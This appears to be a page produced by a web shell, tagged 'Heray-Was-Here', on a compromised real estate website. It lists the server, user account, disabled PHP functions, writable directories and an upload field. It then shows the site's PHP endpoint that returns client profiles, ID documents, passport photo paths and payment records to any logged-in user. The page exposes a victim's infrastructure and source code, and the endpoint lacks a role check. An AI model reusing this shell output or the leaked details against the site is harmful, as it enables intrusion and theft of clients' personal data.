Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/ajax_get_client_details.php
<?php
session_start();
require_once 'includes/db.php';
require_once 'includes/functions.php';

header('Content-Type: application/json');

if (!isset($_SESSION['user_id'])) {
    echo json_encode(['success' => false, 'error' => 'Unauthorized']);
    exit;
}

if (!isset($_GET['id'])) {
    echo json_encode(['success' => false, 'error' => 'No Client ID provided']);
    exit;
}

$client_id = $_GET['id'];

try {
    // 1. Fetch Client Profile
    // Using 'users' table as the source of truth
    // Dynamically select phone/address columns if they exist
    $phoneExpr = "NULL";
    $addrExpr = "NULL";
    try {
        if (function_exists('tableHasColumn') && tableHasColumn('users','phone')) { $phoneExpr = "phone"; }
        elseif (function_exists('tableHasColumn') && tableHasColumn('users','mobile')) { $phoneExpr = "mobile"; }
        if (function_exists('tableHasColumn') && tableHasColumn('users','address')) { $addrExpr = "address"; }
        elseif (function_exists('tableHasColumn') && tableHasColumn('users','location')) { $addrExpr = "location"; }
    } catch (Throwable $e) {}
    $sql = "SELECT id, name, email, role, created_at, COALESCE($phoneExpr, NULL) AS phone, COALESCE($addrExpr, NULL) AS address FROM users WHERE id = ? AND role = 'client'";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$client_id]);
    $client = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$client) {
        echo json_encode(['success' => false, 'error' => 'Client not found']);
        exit;
    }

    // Add mock fields if they don't exist in DB yet
    $client['phone'] = $client['phone'] ?? 'N/A';
    $client['address'] = $client['address'] ?? 'N/A';
    $client['status'] = 'Active';

    // 1b. Fetch latest registration form (for photo and full details)
    $form = [];
    $receiptPath = null;
    try {
        $fs = $pdo->prepare("SELECT form_data, receipt_path FROM client_forms WHERE client_id = ? ORDER BY created_at DESC LIMIT 1");
        $fs->execute([$client_id]);
        $frow = $fs->fetch(PDO::FETCH_ASSOC);
        if ($frow && !empty($frow['form_data'])) {
            $tmp = json_decode($frow['form_data'], true);
            if (is_array($tmp)) { $form = $tmp; }
        }
        if (!empty($frow['receipt_path'])) { $receiptPath = $frow['receipt_path']; }
        if (!empty($form['passport_photo_path'])) { $client['passport_url'] = $form['passport_photo_path']; }
        if (!empty($form['id_document_path'])) { $client['id_document_path'] = $form['id_document_path']; }
        if (!empty($form['phone'])) { $client['phone'] = $form['phone']; }
        if (!empty($form['address'])) { $client['address'] = $form['address']; }
    } catch (Exception $e) {}

    // 2. Fetch Allocations (Properties)
    $stmt = $pdo->prepare("
        SELECT a.id, a.status, a.created_at,
               p.title as property_title, p.price as property_price
        FROM allocations a
        JOIN properties p ON a.property_id = p.id
        WHERE a.user_id = ?
        ORDER BY a.created_at DESC
    ");
    $stmt->execute([$client_id]);
    $allocations = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // 3. Fetch Financials
    $total_property_value = 0;
    $total_paid = 0;

    foreach ($allocations as $alloc) {
        $total_property_value += $alloc['property_price'];
    }

    // Get all approved payments for this user's allocations
    $stmt = $pdo->prepare("
        SELECT p.*, a.property_id 
        FROM payments p
        JOIN allocations a ON p.allocation_id = a.id
        WHERE a.user_id = ? AND p.status = 'approved'
        ORDER BY p.date DESC
    ");
    $stmt->execute([$client_id]);
    $payments = $stmt->fetchAll(PDO::FETCH_ASSOC);

    foreach ($payments as $pay) {
        $total_paid += $pay['amount'];
    }

    $outstanding = $total_property_value - $total_paid;

    // 4. Fetch Documents
    $stmt = $pdo->prepare("SELECT * FROM documents WHERE user_id = ? ORDER BY created_at DESC");
    $stmt->execute([$client_id]);
    $documents = $stmt->fetchAll(PDO::FETCH_ASSOC);

    echo json_encode([
        'success' => true,
        'client' => $client,
        'stats' => [
            'allocations_count' => count($allocations),
            'total_value' => $total_property_value,
            'total_paid' => $total_paid,
            'outstanding' => $outstanding
        ],
        'allocations' => $allocations,
        'payments' => array_slice($payments, 0, 5), // Last 5 payments
        'documents' => $documents,
        'form' => $form,
        'receipt_path' => $receiptPath
    ]);

} catch (Exception $e) {
    echo json_encode(['success' => false, 'error' => $e->getMessage()]);
}

Hry